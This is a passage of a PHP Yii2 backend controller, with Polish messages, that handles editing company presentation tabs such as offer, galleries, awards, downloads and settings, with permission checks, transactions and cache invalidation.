                        ->where([
                            'companies_presentations_tabs.id_tab' => PresentationsTabs::TAB_ABOUT_COMPANY,
                            'companies_presentations_tabs.id_presentation' => $idsRelatedPresentations
                        ])
                        ->all();
                    if(!empty($modelsRelatedTabs)) {
                        foreach($modelsRelatedTabs as $modelRelatedTab) {
                            $idsModifiedPresentations[] = $modelRelatedTab->id_presentation;                            
                            if(!empty($modelRelatedTab->page)) {
                                $modelRelatedPage = $modelRelatedTab->page;
                            } else {
                                $modelRelatedPage = new CompaniesPresentationsPages(['scenario' => 'create']);
                                $modelRelatedPage->id_company_tab = $modelRelatedTab->id_company_tab;                                
                            }                            
                            $modelRelatedPage->lead = $modelPage->lead;
                            $modelRelatedPage->content = $modelPage->content;                            
                            if(!$modelRelatedPage->save(false)) {
                                $transaction->rollBack();
                                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
                                return $this->redirect(['index']);
                            }
                        }
                    }
                }
            }
            
            $flag = $flag && IndexPresentations::refreshRecords($idsModifiedPresentations);
            if($flag) {
                $transaction->commit();
                $this->createEntryForUserChange(UserChangeType::PRESENTATION_ABOUT_COMPANY, $modelPresentation->id_presentation, $modelPresentation->id_company);
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['about-company', 'id' => $modelPresentation->id_presentation]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('about_company', $outputParams);
    }
    
    public function actionOffer($id)
    {
        $modelPresentation = $this->findModel($id);
        
        if (!Yii::$app->user->can('viewCompaniesPresentations', ['model' => $modelPresentation->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelsTabs = $this->getCompaniesTabs($modelPresentation);
        if(empty($modelsTabs[PresentationsTabs::TAB_OFFER])) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        $modelSelectedTab = $modelsTabs[PresentationsTabs::TAB_OFFER];
        
        $modelPage = $modelSelectedTab->page;
        if(empty($modelPage)) {
            $modelPage = CompaniesPresentationsPages::createInitialPage($modelSelectedTab->id_company_tab);
            if($modelPage === false) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
                return $this->redirect(['index']);
            }
        }
        
        $outputParams = [
            'modelPresentation' => $modelPresentation,
            'modelsTabs' => $modelsTabs,
            'modelSelectedTab' => $modelSelectedTab,
            'modelPage' => $modelPage,
            'orFindImagesCopies' => Yii::$app->user->can('modifyCompaniesPresentations', ['model' => false]) ? $this->checkIfExistsAnyImagesCopiesFromConvertingToWebp([$modelPage->lead, $modelPage->content]) : false
        ];
        
//        if (Yii::$app->request->isAjax && $modelPage->load(Yii::$app->request->post())) {
//            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
//            return \yii\bootstrap\ActiveForm::validate($modelPage, ['lead', 'content']);
//        }
        
        if(Yii::$app->request->getIsPost()) {  
            if (!Yii::$app->user->can('modifyCompaniesPresentations', ['model' => false]) && !Yii::$app->user->can('modifyOwnCompaniesPresentations', ['model' => $modelPresentation->company])) {
                throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
            }
            
            if(!$modelPage->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('offer', $outputParams);
            }
            
            if(!$modelPage->validate()) {
                Yii::$app->session->addFlash('error', $modelPage->getErrors());
                return $this->render('offer', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = $modelPage->save(false);
            if($flag) {
                $idsRelatedPresentations = $modelPresentation->getRelationsWithRelatedPresentations()->select(['id_related_presentation'])->column();
                if(!empty($idsRelatedPresentations)) {
                    $modelsRelatedTabs = CompaniesPresentationsTabs::find()
                        ->with('page')
                        ->where([
                            'companies_presentations_tabs.id_tab' => PresentationsTabs::TAB_OFFER,
                            'companies_presentations_tabs.id_presentation' => $idsRelatedPresentations
                        ])
                        ->all();
                    if(!empty($modelsRelatedTabs)) {
                        foreach($modelsRelatedTabs as $modelRelatedTab) {                         
                            if(!empty($modelRelatedTab->page)) {
                                $modelRelatedPage = $modelRelatedTab->page;
                            } else {
                                $modelRelatedPage = new CompaniesPresentationsPages(['scenario' => 'create']);
                                $modelRelatedPage->id_company_tab = $modelRelatedTab->id_company_tab;                                
                            }                            
                            $modelRelatedPage->lead = $modelPage->lead;
                            $modelRelatedPage->content = $modelPage->content;                            
                            if(!$modelRelatedPage->save(false)) {
                                $transaction->rollBack();
                                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
                                return $this->redirect(['index']);
                            }
                        }
                    }
                }
            }
                
            if($flag) {
                $transaction->commit();
                $this->createEntryForUserChange(UserChangeType::PRESENTATION_OFFER, $modelPresentation->id_presentation, $modelPresentation->id_company);
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['offer', 'id' => $modelPresentation->id_presentation]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('offer', $outputParams);
    }
    
    public function actionPhotoGalleries($id)
    {
        $modelPresentation = $this->findModel($id);  
        
        if (!Yii::$app->user->can('viewCompaniesPresentations', ['model' => $modelPresentation->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelsTabs = $this->getCompaniesTabs($modelPresentation);
        if(empty($modelsTabs[PresentationsTabs::TAB_PHOTO_GALLERIES])) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }        
        $modelSelectedTab = $modelsTabs[PresentationsTabs::TAB_PHOTO_GALLERIES];
        
        $modelForm = new PresentationPhotogalleriesForm(['idCompany' => $modelPresentation->id_company]);
        $modelForm->setPresentation($modelPresentation);
        
        $selectedGalleries = ArrayHelper::map($modelPresentation->getPhotogalleries()->join('INNER JOIN', 'companies_presentations_has_companies_photogalleries', 'companies_presentations_has_companies_photogalleries.id_gallery = companies_photogalleries.id_gallery')->select(['companies_photogalleries.id_gallery', 'companies_photogalleries.title'])->orderBy('companies_presentations_has_companies_photogalleries.gallery_order')->indexBy('id_gallery')->asArray()->all(), 'id_gallery', 'title');
        $availableGalleries = ArrayHelper::map(CompaniesPhotogalleries::find()->select(['id_gallery', 'title'])->where(['id_company' => $modelPresentation->id_company])->andFilterWhere(['not in', 'id_gallery', array_keys($selectedGalleries)])->orderBy('title')->indexBy('id_gallery')->asArray()->all(), 'id_gallery', 'title');
        
        $outputParams = [
            'modelPresentation' => $modelPresentation,
            'modelsTabs' => $modelsTabs,
            'modelSelectedTab' => $modelSelectedTab,
            'selectedGalleries' => $selectedGalleries,
            'availableGalleries' => $availableGalleries,
            'modelForm' => $modelForm
        ];

        if (Yii::$app->request->isAjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['galleries']);
        }
        
        if(Yii::$app->request->getIsPost()) { 
            if (!Yii::$app->user->can('modifyCompaniesPresentations', ['model' => $modelPresentation->company])) {
                throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
            }
            
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('photo_galleries', $outputParams);
            }
                    
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->render('photo_galleries', $outputParams);
            }
            
            $cacheTags = ['presentation_'.$modelPresentation->id_presentation.'_photo_galleries'];
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = $modelForm->save();
            if($flag) {
                list($flag, $cacheTagsFromRelatedPresentations) = $this->syncItemsForRelatedPresentations($modelPresentation, '\common\models\CompaniesPresentationsHasCompaniesPhotogalleries', 'getRelationsWithPhotogalleries', 'presentation_XXX_photo_galleries', 'id_gallery', 'gallery_order');
                $cacheTags = array_unique(array_merge($cacheTags, $cacheTagsFromRelatedPresentations));
            }
            if($flag) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                TagDependency::invalidate(Yii::$app->frontendCache, $cacheTags);
                $this->createEntryForUserChange(UserChangeType::PRESENTATION_PHOTO_GALLERIES, $modelPresentation->id_presentation, $modelPresentation->id_company);
                PresentationsHelper::refreshTabsActivityStatus($modelPresentation, [PresentationsTabs::TAB_PHOTO_GALLERIES]);
                if(!empty($modelPresentation->relatedPresentations)) {
                    foreach($modelPresentation->relatedPresentations as $modelRelatedPresentation) {
                        PresentationsHelper::refreshTabsActivityStatus($modelRelatedPresentation, [PresentationsTabs::TAB_PHOTO_GALLERIES]);
                    }
                }
                return $this->redirect(['photo-galleries', 'id' => $modelPresentation->id_presentation]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            }
        }
        
        return $this->render('photo_galleries', $outputParams);
    }
    
    public function actionVideoGalleries($id)
    {
        $modelPresentation = $this->findModel($id);      
        
        if (!Yii::$app->user->can('viewCompaniesPresentations', ['model' => $modelPresentation->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelsTabs = $this->getCompaniesTabs($modelPresentation);
        if(empty($modelsTabs[PresentationsTabs::TAB_VIDEO_GALLERIES])) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelSelectedTab = $modelsTabs[PresentationsTabs::TAB_VIDEO_GALLERIES];
        
        $modelForm = new PresentationVideogalleriesForm(['idCompany' => $modelPresentation->id_company]);
        $modelForm->setPresentation($modelPresentation);
        
        $selectedGalleries = ArrayHelper::map($modelPresentation->getVideogalleries()->join('INNER JOIN', 'companies_presentations_has_companies_videogalleries', 'companies_presentations_has_companies_videogalleries.id_gallery = companies_videogalleries.id_gallery')->select(['companies_videogalleries.id_gallery', 'companies_videogalleries.title'])->orderBy('companies_presentations_has_companies_videogalleries.gallery_order')->indexBy('id_gallery')->asArray()->all(), 'id_gallery', 'title');
        $availableGalleries = ArrayHelper::map(CompaniesVideogalleries::find()->select(['id_gallery', 'title'])->where(['id_company' => $modelPresentation->id_company])->andFilterWhere(['not in', 'id_gallery', array_keys($selectedGalleries)])->orderBy('title')->indexBy('id_gallery')->asArray()->all(), 'id_gallery', 'title');
        
        $outputParams = [
            'modelPresentation' => $modelPresentation,
            'modelsTabs' => $modelsTabs,
            'modelSelectedTab' => $modelSelectedTab,
            'selectedGalleries' => $selectedGalleries,
            'availableGalleries' => $availableGalleries,
            'modelForm' => $modelForm
        ];

        if (Yii::$app->request->isAjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['galleries']);
        }
        
        if(Yii::$app->request->getIsPost()) {
            if (!Yii::$app->user->can('modifyCompaniesPresentations', ['model' => $modelPresentation->company])) {
                throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
            }
            
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('video_galleries', $outputParams);
            }
                    
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->render('video_galleries', $outputParams);
            }
            
            $cacheTags = ['presentation_'.$modelPresentation->id_presentation.'_video_galleries'];
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = $modelForm->save();
            if($flag) {
                list($flag, $cacheTagsFromRelatedPresentations) = $this->syncItemsForRelatedPresentations($modelPresentation, '\common\models\CompaniesPresentationsHasCompaniesVideogalleries', 'getRelationsWithVideogalleries', 'presentation_XXX_video_galleries', 'id_gallery', 'gallery_order');
                $cacheTags = array_unique(array_merge($cacheTags, $cacheTagsFromRelatedPresentations));
            }
            if($flag) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                TagDependency::invalidate(Yii::$app->frontendCache, $cacheTags);
                $this->createEntryForUserChange(UserChangeType::PRESENTATION_VIDEO_GALLERIES, $modelPresentation->id_presentation, $modelPresentation->id_company);
                PresentationsHelper::refreshTabsActivityStatus($modelPresentation, [PresentationsTabs::TAB_VIDEO_GALLERIES]);
                if(!empty($modelPresentation->relatedPresentations)) {
                    foreach($modelPresentation->relatedPresentations as $modelRelatedPresentation) {
                        PresentationsHelper::refreshTabsActivityStatus($modelRelatedPresentation, [PresentationsTabs::TAB_VIDEO_GALLERIES]);
                    }
                }
                return $this->redirect(['video-galleries', 'id' => $modelPresentation->id_presentation]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            }
        }
        
        return $this->render('video_galleries', $outputParams);
    }
    
    public function actionReferencesAndAwards($id)
    {
        $modelPresentation = $this->findModel($id);   
        
        if (!Yii::$app->user->can('viewCompaniesPresentations', ['model' => $modelPresentation->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelsTabs = $this->getCompaniesTabs($modelPresentation);
        if(empty($modelsTabs[PresentationsTabs::TAB_REFERENCES_AND_AWARDS])) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }        
        $modelSelectedTab = $modelsTabs[PresentationsTabs::TAB_REFERENCES_AND_AWARDS];
        
        $modelForm = new PresentationAwardsForm(['idCompany' => $modelPresentation->id_company]);
        $modelForm->setPresentation($modelPresentation);
        
        $selectedAwards = ArrayHelper::map($modelPresentation->getAwards()->join('INNER JOIN', 'companies_presentations_has_companies_awards', 'companies_presentations_has_companies_awards.id_award = companies_awards.id_award')->select(['companies_awards.id_award', 'companies_awards.title'])->orderBy('companies_presentations_has_companies_awards.award_order')->indexBy('id_award')->asArray()->all(), 'id_award', function($item) { return $item['title'].' (#'.$item['id_award'].')'; });
        $availableAwards = ArrayHelper::map(CompaniesAwards::find()->select(['id_award', 'title'])->where(['id_company' => $modelPresentation->id_company])->andFilterWhere(['not in', 'id_award', array_keys($selectedAwards)])->orderBy('title')->indexBy('id_award')->asArray()->all(), 'id_award', function($item) { return $item['title'].' (#'.$item['id_award'].')'; });
        
        $outputParams = [
            'modelPresentation' => $modelPresentation,
            'modelsTabs' => $modelsTabs,
            'modelSelectedTab' => $modelSelectedTab,
            'selectedAwards' => $selectedAwards,
            'availableAwards' => $availableAwards,
            'modelForm' => $modelForm
        ];

        if (Yii::$app->request->isAjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['awards']);
        }
        
        if(Yii::$app->request->getIsPost()) { 
            if (!Yii::$app->user->can('modifyCompaniesPresentations', ['model' => false]) && !Yii::$app->user->can('modifyOwnCompaniesPresentations', ['model' => $modelPresentation->company])) {
                throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
            }
            
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('references_and_awards', $outputParams);
            }
                    
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->render('references_and_awards', $outputParams);
            }
            
            $cacheTags = ['presentation_'.$modelPresentation->id_presentation.'_awards'];
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = $modelForm->save();
            if($flag) {
                list($flag, $cacheTagsFromRelatedPresentations) = $this->syncItemsForRelatedPresentations($modelPresentation, '\common\models\CompaniesPresentationsHasCompaniesAwards', 'getRelationsWithAwards', 'presentation_XXX_awards', 'id_award', 'award_order');
                $cacheTags = array_unique(array_merge($cacheTags, $cacheTagsFromRelatedPresentations));
            }
            if($flag) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                $this->createEntryForUserChange(UserChangeType::PRESENTATION_REFERENCES_AND_AWARDS, $modelPresentation->id_presentation, $modelPresentation->id_company);
                TagDependency::invalidate(Yii::$app->frontendCache, $cacheTags);
                PresentationsHelper::refreshTabsActivityStatus($modelPresentation, [PresentationsTabs::TAB_REFERENCES_AND_AWARDS]);
                if(!empty($modelPresentation->relatedPresentations)) {
                    foreach($modelPresentation->relatedPresentations as $modelRelatedPresentation) {
                        PresentationsHelper::refreshTabsActivityStatus($modelRelatedPresentation, [PresentationsTabs::TAB_REFERENCES_AND_AWARDS]);
                    }
                }
                return $this->redirect(['references-and-awards', 'id' => $modelPresentation->id_presentation]);                
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            }
        }
        
        return $this->render('references_and_awards', $outputParams);
    }
    
    public function actionDownload($id)
    {
        $modelPresentation = $this->findModel($id);     
        
        if (!Yii::$app->user->can('viewCompaniesPresentations', ['model' => $modelPresentation->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelsTabs = $this->getCompaniesTabs($modelPresentation);
        if(empty($modelsTabs[PresentationsTabs::TAB_DOWNLOAD])) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        $modelSelectedTab = $modelsTabs[PresentationsTabs::TAB_DOWNLOAD];
        
        $modelForm = new PresentationDownloadsForm(['idCompany' => $modelPresentation->id_company]);
        $modelForm->setPresentation($modelPresentation);
        
        $selectedDownloads = ArrayHelper::map($modelPresentation->getDownloads()->join('INNER JOIN', 'companies_presentations_has_companies_downloads', 'companies_presentations_has_companies_downloads.id_download = companies_downloads.id_download')->select(['companies_downloads.id_download', 'companies_downloads.title'])->orderBy('companies_presentations_has_companies_downloads.download_order')->indexBy('id_download')->asArray()->all(), 'id_download', function($item) { return $item['title'].' (#'.$item['id_download'].')'; });
        $availableDownloads = ArrayHelper::map(CompaniesDownloads::find()->select(['id_download', 'title'])->where(['id_company' => $modelPresentation->id_company])->andFilterWhere(['not in', 'id_download', array_keys($selectedDownloads)])->orderBy('title')->indexBy('id_download')->asArray()->all(), 'id_download', function($item) { return $item['title'].' (#'.$item['id_download'].')'; });
        
        $outputParams = [
            'modelPresentation' => $modelPresentation,
            'modelsTabs' => $modelsTabs,
            'modelSelectedTab' => $modelSelectedTab,
            'selectedDownloads' => $selectedDownloads,
            'availableDownloads' => $availableDownloads,
            'modelForm' => $modelForm
        ];

        if (Yii::$app->request->isAjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['downloads']);
        }
        
        if(Yii::$app->request->getIsPost()) { 
            if (!Yii::$app->user->can('modifyCompaniesPresentations', ['model' => false]) && !Yii::$app->user->can('modifyOwnCompaniesPresentations', ['model' => $modelPresentation->company])) {
                throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
            }
            
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('download', $outputParams);
            }
                    
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->render('download', $outputParams);
            }
            
            $cacheTags = ['presentation_'.$modelPresentation->id_presentation.'_downloads'];
            
            $transaction = Yii::$app->db->beginTransaction();

            $flag = $modelForm->save();
            if($flag) {
                list($flag, $cacheTagsFromRelatedPresentations) = $this->syncItemsForRelatedPresentations($modelPresentation, '\common\models\CompaniesPresentationsHasCompaniesDownloads', 'getRelationsWithDownloads', 'presentation_XXX_downloads', 'id_download', 'download_order');
                $cacheTags = array_unique(array_merge($cacheTags, $cacheTagsFromRelatedPresentations));
            }
            if($flag) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                $this->createEntryForUserChange(UserChangeType::PRESENTATION_DOWNLOADS, $modelPresentation->id_presentation, $modelPresentation->id_company);
                TagDependency::invalidate(Yii::$app->frontendCache, $cacheTags);
                PresentationsHelper::refreshTabsActivityStatus($modelPresentation, [PresentationsTabs::TAB_DOWNLOAD], true);
                if(!empty($modelPresentation->relatedPresentations)) {
                    foreach($modelPresentation->relatedPresentations as $modelRelatedPresentation) {
                        PresentationsHelper::refreshTabsActivityStatus($modelRelatedPresentation, [PresentationsTabs::TAB_DOWNLOAD], true);
                    }
                }
                return $this->redirect(['download', 'id' => $modelPresentation->id_presentation]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            }
        }
        
        return $this->render('download', $outputParams);
    }

    public function actionSettings($id)
    {
        $modelPresentation = $this->findModel($id);
        
        if (!Yii::$app->user->can('viewCompaniesPresentations', ['model' => $modelPresentation->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelsRelatedPresentations = $modelPresentation->getRelatedPresentations()->all();
        
        $modelsTabs = $this->getCompaniesTabs($modelPresentation);
        if(empty($modelsTabs)) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelForm = new PresentationSettingsForm();
        $modelForm->setPresentation($modelPresentation);
        $modelForm->loadSettings();
        
        if(Yii::$app->user->can('modifyCompaniesPresentationsSettings')) {
            $modelForm->setScenario('operator');
        } else {
            $modelForm->setScenario('user');
        }
        
        $outputParams = [
            'modelPresentation' => $modelPresentation,
            'modelsTabs' => $modelsTabs,
            'modelForm' => $modelForm
        ];
        
        if (Yii::$app->request->isAjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['tags', 'package', 'tabs']);
        }
        
        if(Yii::$app->request->getIsPost()) {             
            if (!Yii::$app->user->can('modifyCompaniesPresentationsSettings', ['model' => $modelPresentation->company])) {
                throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
            }
            
            $alreadyActiveTabs = [];
            foreach($modelPresentation->companiesTabs as $modelCompanyTab) {
                if($modelCompanyTab->status === Status::ACTIVE && $modelCompanyTab->or_empty === 0) {
                    $alreadyActiveTabs[] = $modelCompanyTab->id_tab;
                }
            }
            
            $oldStatus = $modelPresentation->status;
            $oldIdPackage = $modelPresentation->id_package;
            $oldOrExistsProductsTab = in_array(PresentationsTabs::TAB_PRODUCTS_AND_SERVICES, $modelForm->tabs);
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('settings', $outputParams);
            }
            $orExistsProductsTab = in_array(PresentationsTabs::TAB_PRODUCTS_AND_SERVICES, $modelForm->tabs);
                    
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->render('settings', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = $modelForm->save();
            $flag = $flag && PresentationsHelper::refreshTabsActivityStatus($modelPresentation, $modelForm->tabs);
            if($flag && !empty($modelsRelatedPresentations)) {  
                foreach($modelsRelatedPresentations as $modelRelatedPresentation) {
                    $flag2 = PresentationsHelper::refreshTabsActivityStatus($modelRelatedPresentation, $modelForm->tabs);
                    if(!$flag2) {
                        $flag = false;
                        break;
                    }
                }
            }
            
            $deletedPresentationsPromoted = [];
            $deletedProductsPromoted = [];
            if($flag && (
                (
                    $oldIdPackage !== PresentationsPackages::PACKAGE_STARTER 
                    && $modelPresentation->id_package === PresentationsPackages::PACKAGE_STARTER
                ) || (
                    $oldStatus === Status::ACTIVE 
                    && $modelPresentation->status !== Status::ACTIVE 
                )
              )
            ) { 
                //usuwamy wszystkie promowania - produktów i prezentacji
                $idsPresentations = [$modelPresentation->id_presentation];
                $idsPortals = [$modelPresentation->id_portal];
                if(!empty($modelsRelatedPresentations)) {
                    foreach($modelsRelatedPresentations as $modelRelatedPresentation) {
                        $idsPresentations[] = $modelRelatedPresentation->id_presentation;
                        $idsPortals[] = $modelRelatedPresentation->id_portal;
                    }
                } 
                
                $modelsCompaniesPresentationsPromoted = \common\models\CompaniesPresentationsPromoted::find()
                        ->with(['presentation.portal', 'category'])
                        ->where(['id_presentation' => $idsPresentations])
                        ->all();
                if(!empty($modelsCompaniesPresentationsPromoted)) {
                    foreach($modelsCompaniesPresentationsPromoted as $modelCompanyPresentationPromoted) {
                        $deletedPresentationPromoted = $modelCompanyPresentationPromoted->toArray();
                        $deletedPresentationPromoted['domain'] = $modelCompanyPresentationPromoted->presentation->portal->domain;
                        $deletedPresentationPromoted['category'] = !empty($modelCompanyPresentationPromoted->category) ? $modelCompanyPresentationPromoted->category->name : null;
                        $deletedPresentationsPromoted[] = $deletedPresentationPromoted;
                        if($modelCompanyPresentationPromoted->delete() === false) {
                            $flag = false;
                            break;
                        }
                    }
                }                
                
                if($flag) {
                    $modelsPortalsHasProductsPromoted = \common\models\PortalsHasProductsPromoted::find()
                            ->with(['portal', 'product', 'category'])
                            ->where([
                                'id_product' => $modelPresentation->company->getProducts()->select(['id_product'])->column(),
                                'id_portal' => $idsPortals
                            ])
                            ->all();
                    if(!empty($modelsPortalsHasProductsPromoted)) {
                        foreach($modelsPortalsHasProductsPromoted as $modelPortalHasProductPromoted) {
                            $deletedProductPromoted = $modelPortalHasProductPromoted->toArray();
                            $deletedProductPromoted['domain'] = $modelPortalHasProductPromoted->portal->domain;
                            $deletedProductPromoted['category'] = !empty($modelPortalHasProductPromoted->category) ? $modelPortalHasProductPromoted->category->name : null;
                            $deletedProductPromoted['product'] = $modelPortalHasProductPromoted->product->name;
                            $deletedProductsPromoted[] = $deletedProductPromoted;
                            if($modelPortalHasProductPromoted->delete() === false) {
                                $flag = false;
                                break;
                            }
                        }
                    }
                }
            }
            
            if($flag && $modelPresentation->status === Status::ACTIVE) {
                if($oldStatus !== Status::ACTIVE) {
                    $alreadyActiveTabs = [];
                }
                
                $companyName = $modelPresentation->company->name;
                $modelsSaved = [];
                
                if(!empty($modelsRelatedPresentations)) {
                    $modelsPresentations = $modelsPresentations = array_merge([$modelPresentation], $modelsRelatedPresentations);
                } else {
                    $modelsPresentations = [$modelPresentation];
                }
                
                foreach($modelsPresentations as $modelPresentationTemp) {
                    $orBreak = false;
                    
                    $modelsTabs = $modelPresentationTemp->getCompaniesTabs()->all();
                    foreach($modelsTabs as $modelTab) {
                        if($modelTab->status !== Status::ACTIVE && $modelTab->or_empty === 1 || in_array($modelTab->id_tab, $alreadyActiveTabs)) {
                            continue;
                        }
                        list($flag2, $lastInsertedModel) = \backend\components\helpers\GoogleIndexingHelper::createEntryForCompanyPresentationTab($modelPresentationTemp->id_presentation, $modelTab->id_tab, $companyName, $modelPresentationTemp->portal);
                        if($flag2) {
                            if(!empty($lastInsertedModel)) {
                                $modelsSaved[] = $lastInsertedModel;
                            }
                        } else {
                            if(!empty($modelsSaved)) {
                                foreach($modelsSaved as $modelSaved) {
                                    $modelSaved->delete();
                                }
                            }
                            $orBreak = true;
                            break;
                        }
                    }
                    
                    if($orBreak) {
                        $flag = false;
                        break;
                    }                    
                }
            }
            
            $flag = $flag && IndexPresentations::refreshRecord($modelPresentation->id_presentation);
            if($flag && !empty($modelsRelatedPresentations)) {
                foreach($modelsRelatedPresentations as $modelRelatedPresentation) {
                    $modelForm->setPresentation($modelRelatedPresentation);
                    $flag = $modelForm->save();
                    $flag = $flag && IndexPresentations::refreshRecord($modelRelatedPresentation->id_presentation);
                }
            }
            if($flag && ($oldStatus !== $modelPresentation->status || $oldOrExistsProductsTab !== $orExistsProductsTab)) {
                $idsRelatedProducts = $modelPresentation->getRelationsWithProducts()->select(['id_product'])->column();
                $results = IndexProducts::refreshRecords($idsRelatedProducts);
                if(!empty($results)) {
                    foreach($results as $result) {
                        if(!$result) {
                            $flag = false;
                            break;
                        }
                    }
                }
            }
            if($flag) {
                $transaction->commit();                
//                PresentationsHelper::refreshTabsActivityStatus($modelPresentation, $modelForm->tabs);
                if(!empty($modelsRelatedPresentations)) {
                    foreach($modelsRelatedPresentations as $modelRelatedPresentation) {
//                        PresentationsHelper::refreshTabsActivityStatus($modelRelatedPresentation, $modelForm->tabs);
                        TagDependency::invalidate(Yii::$app->frontendCache, ['presentation_'.$modelRelatedPresentation->id_presentation]);
                    }
                }                
                \common\models\Emails::refreshForCompany($modelPresentation->id_company);
                \common\models\Emails::refreshForUser($modelPresentation->company->id_user);
                $this->createEntryForUserChange(UserChangeType::PRESENTATION_SETTINGS, $modelPresentation->id_presentation, $modelPresentation->id_company);
                TagDependency::invalidate(Yii::$app->frontendCache, ['presentation_'.$modelPresentation->id_presentation]);
                
                if(
                    $oldIdPackage === PresentationsPackages::PACKAGE_STARTER 
                    && $modelPresentation->id_package === PresentationsPackages::PACKAGE_STARTER 
                    && $oldStatus !== Status::ACTIVE 
                    && $modelPresentation->status === Status::ACTIVE
                ) {
                    $modelsOperatorsRecipients = $modelPresentation->company->getOperators()
                            ->select(['id_user', 'forename', 'surname'])
                            ->with([
                                'contactData' => function($q) {
                                    $q->where([
                                        'required' => 1,
                                        'data_type' => \common\models\types\ContactDataType::EMAIL
                                    ]);
                                }
                            ])
                            ->where([
                                'status' => Status::ACTIVE, 
